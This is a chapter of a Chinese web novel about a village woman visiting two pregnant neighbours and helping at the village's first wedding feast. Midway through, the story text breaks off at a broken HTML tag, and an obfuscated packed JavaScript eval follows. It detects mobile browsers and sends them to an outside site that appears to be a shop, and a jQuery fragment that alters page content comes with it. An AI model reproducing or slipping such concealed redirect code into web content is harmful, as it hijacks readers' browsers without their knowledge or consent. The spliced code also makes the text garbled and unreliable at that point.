雪后初霁的日子,周婶和萧三娘便安心在家养胎,轻易不出门。
童念得空时,就去她们屋里坐坐,陪着一道消磨些时光。
萧三娘屋里炭火总是烧得旺旺的,她很期待即将到来的孩子。
平日里绣完了绣铺的活计,就会仔细的绣起小娃娃的肚兜来,布料上鲤戏莲叶图样憨态可掬,绣样很是漂亮。
童念瞧着有趣:“这花样真漂亮,男孩女孩都能穿呢。”
她坐在一旁,也跟着拿了个素色荷包学着绣,只针脚有些凌乱,瞧半天不知道是个什么形状。
萧三娘柔声道:“男孩女孩都好,我都欢喜。”
两人并排坐在炕沿,手里飞针走线,偶尔说上几句话。
“李婶家里做了些酸萝卜,我吃着挺好的,和她订了一坛,明儿个给你和婶子送来,只不能多吃,当个解馋的零嘴还行。”童念咬断一根线头叮嘱道。
萧三娘闻言,抿嘴笑了笑:“我晓得的,也是奇了,往常并不贪嘴,如今却总觉着嘴里没味儿,偏就想点酸的。”
萧三娘与周婶怀相都算安稳,并无害喜呕吐的折腾,唯独胃口比常日里怪了些。
萧三娘爱酸,周婶爱甜,两个人口味竟是反过来的。
两家的男人都是会疼人的,便时常留心着反应,去县里做工回来,就带些盐渍梅子、山楂糕,或是新做的点心、甜脯给两人做零食。
只周大夫交代了,萧三娘身子娇小,孕期不宜补得太过,怕到时候不好生,所以童念总是会过来监督着她。
“你心里有数就好,我就是白嘱咐一句,怕你闷在屋里无聊,光想着吃,得空在家里多动动,大夫可说了,你身子骨不比婶子,孕期得多注意,往后生产才容易些。”童念叮嘱着,又将手里绣了一半的荷包对着光看了看,那一大片竹叶绣成一团,各有各的丑。
萧三娘心里感激,柔声道:“难为你总惦记着,杨婶子每日来做饭,我什么都插不上手,闲得很,你平日事多,不用总来回跑,仔细冻着。”
“冬日里我又不进山,哪有什么事做?我这双手确实不合适弄这些针线。”童念瞧着手里的荷包啧了一声。
萧三娘探头瞧了眼她手里的大作,那团辨不出模样的竹叶让她忍不住笑出声,打趣调侃道:“你这瞧着确实没天赋,往后怕是要找个擅绣的,这针线活都给他弄。”
童念闻言,轻哼一声:“算了吧,哪有几个男人愿意干这活的?你瞧满村里,也就文叔一个人会做些针线。”
萧三娘想起文守诚安静坐在窗下补衣的模样,也笑着点头:“这倒也是,文叔那样的也少见。”
文守诚除了力气活差劲些,别的方面没啥指摘的。
“不过话说回来,你家陈才也算知道疼人,听吴三叔说,他如今只要得空,每日都紧赶慢赶地回来瞧一眼,这冰天雪地,雪融了那路也是难行的,来回奔波那也是辛苦活。”童念又赞声道。
自打萧三娘诊出有孕,陈才便麻利地掏钱请了杨氏每日来帮着做饭料理家务,让她只管安心养着。
只童念不放心,得空了就会来瞧瞧她。
两人又坐着聊了一会,童念瞧着时间差不多了,这才起身回家去做晚饭。
从萧三娘家出来,童念又去瞧了周婶,见她面色红润,这才辞别回了家。
没过几日,安民村迎来了第一桩嫁娶的喜事。
要娶媳妇的是村头吴老栓家的二小子吴二柱,娶的是离县城三里地的李家村的姑娘,名叫李秀儿。
吴二柱在蓝家新开的砖窑厂做工,人敦实肯干,他老丈人当时恰巧也在同一个窑厂干活,观察了这后生大半年,觉得小伙子踏实本分,是个能过日子的人。
虽说安民村底子还薄,可他老丈人觉得只要人勤快不偷懒,跟着蓝家这样的大东家,肯出力好好干,日子总能慢慢过起来。
于是便想将自家最小的女儿许配给他,之后又安排两个年轻人相看了一次,彼此都瞧得顺眼了,两家人便定了日子。
娶亲这日,天公作美,连日阴沉的天空放了晴。
天气虽然寒冷,但阳光洒在未化的积雪上,瞧着就让人心里暖洋洋。
吴家不大的院子里,早早就来了一群人帮忙办席,借来的桌椅板凳摆开了好几桌,虽然简陋,但都擦得干干净净。
临时搭起的灶台冒着腾腾热气,掌勺的依然是杨氏,正指挥着几个帮忙的妇人洗菜切肉,院子里飘散着浓郁的饭菜香气。
童念一大早就过来帮忙,萧三娘和周婶因为身孕不方便来,便拖她把贺礼一起带了过来。
上完了礼,童念又到处转了一圈,她还是头一回参加这种宴席,看什么都觉得新鲜。
村里的妇人们聚在一起,手脚麻利的摘菜洗菜,大家说说笑笑,气氛很热闹。
童念帮忙烧完热水后,又跟在这群妇人身后,让做什么就做什么,帮厨的妇人们都对她留了个好印象。
吴老栓的媳妇石婶是个面相和善的妇人,一整天嘴里的笑就没停过。
她特意抽抽空过来,挨个儿感谢帮忙的乡亲,手里挎着个小篮子,里面装着刚炒熟的南瓜子和花生,见人就抓一把塞过去:“他婶子,辛苦了啊!”
对在灶房帮忙的几人,她还特地多送了几颗喜糖,冰天雪地的,就算就着温水洗菜刷锅也是一件苦差事。
石婶塞了一把瓜子给童念:“童娘子,快歇歇,吃把瓜子!”
童念连忙道谢接过,瓜子还带着铁锅的余温,拿在手里也是喷香。
等石婶走了,杨氏又过来查看有没有漏下没洗的菜,趁着锅里还有热水,便叮嘱着帮厨的人一起把剩下的菜蔬都洗干净备着用。
或许是因为这次娶亲是安民村安定下来后的第一桩大喜事,也或许是连日的大雪让人觉得有些压抑,难得有一份暖意冲淡了冬日下的寒冰苍白,这次的喜宴让大家都格外的兴奋。
童念目光悄悄掠过院子里忙碌的众人,大家动作利索,无论是切菜配料的,端盘摆桌的,还是烧火打杂的,人人脸上都挂着笑意。
她几乎看不到谁在偷闲躲懒,平日里那些争执掐尖都隐了下来,大家仿佛都铆足了一股劲儿,要把这场喜事办得圆满热闹。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032140|191968||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
快到吉时,村口方向远远传来了吹吹打打的乐声,一路上还有噼里啪啦的鞭炮响,热闹的声响越来越近。
“来了来了!新娘子接来了!”有腿脚快的妇人飞奔来报信。
院子里帮忙的人们手上的动作更快了,杨氏催促着赶紧把最后几盘洗好的鲜菜摆上灶等着炒,手里清闲些的就涌向院门口张望看热闹。
不多时,一队人披红挂彩的热热闹闹的进了村,最前面的是吹着唢呐和敲铜锣的人,腰上都缠着一节喜庆的红布。
后面跟着的是新郎吴二柱,胸前系着朵大红花,脸上是抑制不住的喜意,骑在一头同样挂了红布的驴背上。
紧随其后的,同样是挂着红布的驴板车,两边也挂上了红布,上面坐着的正是新娘子李秀儿。
驴车后面是送亲的队伍,是李秀儿的娘家人和李家村的亲友。
几个妇人背着大红色的棉被枕头,后面跟着几个挑着嫁妆担子的青状,再后面,还跟着不少看热闹的李家村村民,队伍拉得老长,声势颇为浩大。
安民村这边的人,有挤在院子里的瞧的,也有涌在路边笑着看的,小孩子们跑出来跟在送亲的队伍侧面跑,欢呼叫着嚷着。
驴车停在吴家院子门外,蒙着红盖头的新娘子被新郎迎着下了驴车。
吴家人心细,怕地上的残雪泥泞脏了新妇的绣鞋,特意在从院门到堂屋正厅这段路上,铺了厚厚一层干净的干草。
由着新郎用红布牵着新娘子跨过火盆,在村中长辈的主持下,完整的举办了喜庆的仪式。
童念跟着人群挤在院子边上瞧,每到一个环节,村里人起哄的时候也跟着一起瞎喊,整场婚宴气氛热闹喧嚣。
她瞧见新郎吴二柱拜堂时手都有些抖,石婶子一边抹眼泪一边笑,听见边上的婶子们调侃新郎欢喜的路都不会走了,她也跟村民们一起大笑起哄。
礼成后,新娘子被送入临时布置出来的新房,李家的嫁妆也被郑重地抬到院中空地处,解开红布,向众亲友展示。
有几床大红色的被褥、枕头,还有些脸盆、猪腿,最重要是陪嫁里竟然送了一对瞧着分量就很足的银镯子。
这份嫁妆在普遍清贫的安民村,可谓十分体面厚道了,足见李家对这桩婚事的重视和对女儿的疼爱,这等丰厚的嫁妆也让吴家新媳妇一下子就在安民村赚足了体面。
众人瞧着新娘子丰厚的嫁妆,不少人在一旁羡慕,直念叨吴二柱走了运气,遇到家底这么厚实的岳家。
吴家人脸上有光,郑重地将嫁妆一样样收抬进屋妥善安置,待嫁妆归置妥当,随着吴老栓一声开席,外头的喜宴正式开席了。
帮忙的妇人们鱼贯上菜,虽然多是家常菜式,但杨氏手艺好,吴家也备料大方,大盆的炖菜,整条的蒸鱼,分量很足,管够管饱。
宴席开始没多久,新郎出来敬酒。
吴二柱不善言辞,只是红着脸,实实在在地给在场帮忙的乡亲鞠躬道谢,憨厚的模样又引起现场不少已经成了婚的调侃打趣。
宴席上众人你来我往,冰天雪地下,仍旧吃得热闹尽兴。